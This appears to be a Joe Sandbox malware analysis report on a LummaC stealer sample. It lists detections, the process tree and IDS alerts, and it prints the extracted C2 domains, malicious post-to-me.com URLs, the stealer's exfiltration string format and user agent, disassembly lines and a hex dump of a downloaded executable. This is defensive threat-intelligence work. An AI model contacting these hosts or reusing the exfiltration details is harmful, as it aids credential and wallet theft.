Edit tour

Windows Analysis Report
xHj1N8ylIf.exe

Overview

General Information

Sample name:	xHj1N8ylIf.exe renamed because original name is a hash value
Original sample name:	c7e643b43245f27403ed493443865155.exe
Analysis ID:	1585802
MD5:	c7e643b43245f27403ed493443865155
SHA1:	e7bc0a6190be5a6773b3d85b65d6274f4d72a9ac
SHA256:	166558652d5cd1a2e8edabb64150bb1750fe610688db94e0c7542e43e9b7c2ad
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

xHj1N8ylIf.exe (PID: 6736 cmdline: "C:\Users\user\Desktop\xHj1N8ylIf.exe" MD5: C7E643B43245F27403ED493443865155)

5796.tmp.exe (PID: 6036 cmdline: "C:\Users\user\AppData\Local\Temp\5796.tmp.exe" MD5: 39ED277DE9297BF19DA7B0FA7EC41370)

WerFault.exe (PID: 6032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 1768 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["tirepublicerj.shop", "abruptyopsn.shop", "noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop", "rabidcowse.shop", "skidjazzyric.click", "cloudewahsj.shop", "wholersorie.shop"], "Build id": "4h5VfH--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: 5796.tmp.exe PID: 6036	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 5796.tmp.exe PID: 6036	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5796.tmp.exe PID: 6036	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:17.428722+0100	2028371	3	Unknown Traffic	192.168.2.8	49979	104.21.80.1	443	TCP
2025-01-08T09:44:18.381646+0100	2028371	3	Unknown Traffic	192.168.2.8	49980	104.21.80.1	443	TCP
2025-01-08T09:44:19.640152+0100	2028371	3	Unknown Traffic	192.168.2.8	49981	104.21.80.1	443	TCP
2025-01-08T09:44:20.849401+0100	2028371	3	Unknown Traffic	192.168.2.8	49982	104.21.80.1	443	TCP
2025-01-08T09:44:22.037283+0100	2028371	3	Unknown Traffic	192.168.2.8	49983	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:17.895990+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49979	104.21.80.1	443	TCP
2025-01-08T09:44:18.854020+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49980	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:17.895990+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49979	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:18.854020+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49980	104.21.80.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:44:20.197149+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49981	104.21.80.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T09:42:29.712198+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49707	104.21.56.70	443	TCP
2025-01-08T09:42:30.549947+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49708	176.113.115.19	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xHj1N8ylIf.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://post-to-me.com/track_prt.php?sub=0&cc=DETRI	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DEDatD	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DERDO	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DEam	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/~	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DEL	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/	Avira URL Cloud: Label: malware
Source: https://post-to-me.com/track_prt.php?sub=0&cc=DE	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["tirepublicerj.shop", "abruptyopsn.shop", "noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop", "rabidcowse.shop", "skidjazzyric.click", "cloudewahsj.shop", "wholersorie.shop"], "Build id": "4h5VfH--"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: xHj1N8ylIf.exe	Virustotal: Detection: 42%			Perma Link
Source: xHj1N8ylIf.exe	ReversingLabs: Detection: 48%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: xHj1N8ylIf.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: skidjazzyric.click
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2805792390.00000000006A6000.00000002.00001000.00020000.00000000.sdmp	String decryptor: 4h5VfH--

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_00675D89 CryptUnprotectData,

3_2_00675D89

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Unpacked PE file: 0.2.xHj1N8ylIf.exe.400000.0.unpack

Source: xHj1N8ylIf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49983 version: TLS 1.2

Source:

Binary string: C:\AdminC4\Workspace\732991375\Project\Debug\Project.pdb source: xHj1N8ylIf.exe, 00000000.00000003.1662428500.000000000374D000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2685517735.0000000002E8C000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000000.1670551201.000000000107E000.00000002.00000001.01000000.00000006.sdmp, ScreenUpdateSync[1].exe.0.dr, 5796.tmp.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_004356A2 FindFirstFileExW,		0_2_004356A2
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02125909 FindFirstFileExW,		0_2_02125909

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov eax, esi	3_2_0069D0D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-533305EEh]	3_2_0069D0D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+34h]	3_2_0066C080
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00682370
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov word ptr [edx], cx	3_2_00678BA2
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1CAAACA4h]	3_2_00677054
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+7E534795h]	3_2_0067B021
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_0067B021
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	3_2_006A1816
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_006A38E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_006A38FB
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_006A38F9
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+482C66D0h]	3_2_00682880
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebx, bx	3_2_00687885
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_0067F170
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov dword ptr [ebp-2Ch], eax	3_2_006A21E9
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [edi+10h], 00000000h	3_2_006A21E9
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [esi]	3_2_0067618C
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	3_2_0067BA52
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov esi, ecx	3_2_0067BA52
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_0067BA52
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_0069A230
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	3_2_00662210
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, word ptr [eax]	3_2_006A42E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [esi], cl	3_2_00691AF5
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebx+0Bh]	3_2_0066B280
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	3_2_006A0A90
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [edi], bl	3_2_00669360
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0068FB7D
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	3_2_006A1B50
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	3_2_00668320
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	3_2_00679B30
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	3_2_0067F3E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0067B3F2
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_0067AB90
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then jmp ecx	3_2_00688C62
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	3_2_006A4C20
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000D1h]	3_2_00674C30
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00687C10
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00678492
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edx, word ptr [ebx]	3_2_0069CD40
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_0068C5E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_006795B6
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_006795B6
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [esi], al	3_2_0067B58F
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov edi, edx	3_2_0069E6E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx eax, word ptr [edx]	3_2_0069E6E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_0067A770
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00690F4E
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00690F54
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_00667730
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00667730
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, edx	3_2_00690F03
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov byte ptr [edi], cl	3_2_0068F716
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov ecx, eax	3_2_00687FFD
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	3_2_0068A7F0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_0068A7F0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+7C605D08h]	3_2_00687FC0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-209D22B7h]	3_2_00687FC0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	3_2_006A37D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_0068AFB0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov edx, ecx	3_2_0068AF92
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_0068AF92

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49979 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49979 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49980 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49980 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49981 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: skidjazzyric.click
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 08:42:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 07 Jan 2025 19:23:06 GMTETag: "4bee00-62b22acaa7a80"Accept-Ranges: bytesContent-Length: 4976128Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 97 53 92 f8 f6 3d c1 f8 f6 3d c1 f8 f6 3d c1 8a 77 3e c0 f5 f6 3d c1 8a 77 38 c0 6e f6 3d c1 8a 77 39 c0 eb f6 3d c1 e9 70 3e c0 ea f6 3d c1 e9 70 39 c0 e9 f6 3d c1 e9 70 38 c0 d3 f6 3d c1 8a 77 3c c0 f3 f6 3d c1 f8 f6 3c c1 80 f6 3d c1 7b 70 39 c0 f9 f6 3d c1 7b 70 3f c0 f9 f6 3d c1 52 69 63 68 f8 f6 3d c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 1a 7f 7d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 1a 46 00 00 e6 05 00 00 00 00 00 0a d4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 6f 00 00 04 00 00 20 06 4c 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 93 6b 00 78 00 00 00 00 b0 6d 00 80 5f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 6b 00 a8 62 01 00 50 13 6b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 12 6b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 6b 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 62 73 73 e2 a8 22 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 e0 2e 74 65 78 74 00 00 00 b2 18 46 00 00 c0 22 00 00 1a 46 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b2 6a 02 00 00 e0 68 00 00 6c 02 00 00 1e 46 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 3f 00 00 00 50 6b 00 00 2a 00 00 00 8a 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 f5 11 00 00 00 90 6b 00 00 12 00 00 00 b4 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 73 76 63 6a 6d 63 c0 01 00 00 00 b0 6b 00 00 02 00 00 00 c6 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 6b 00 00 02 00 00 00 c8 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 70 74 61 62 6c 65 99 01 00 00 00 d0 6b 00 00 02 00 00 00 ca 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 8c c1 01 00 00 e0 6b 00 00 c2 01 00 00 cc 48 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 80 5f 01 00 00 b0 6d 00 00 60 01 00 00 8e 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.56.70 104.21.56.70
Source: Joe Sandbox View	IP Address: 176.113.115.19 176.113.115.19
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49708 -> 176.113.115.19:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49979 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49982 -> 104.21.80.1:443
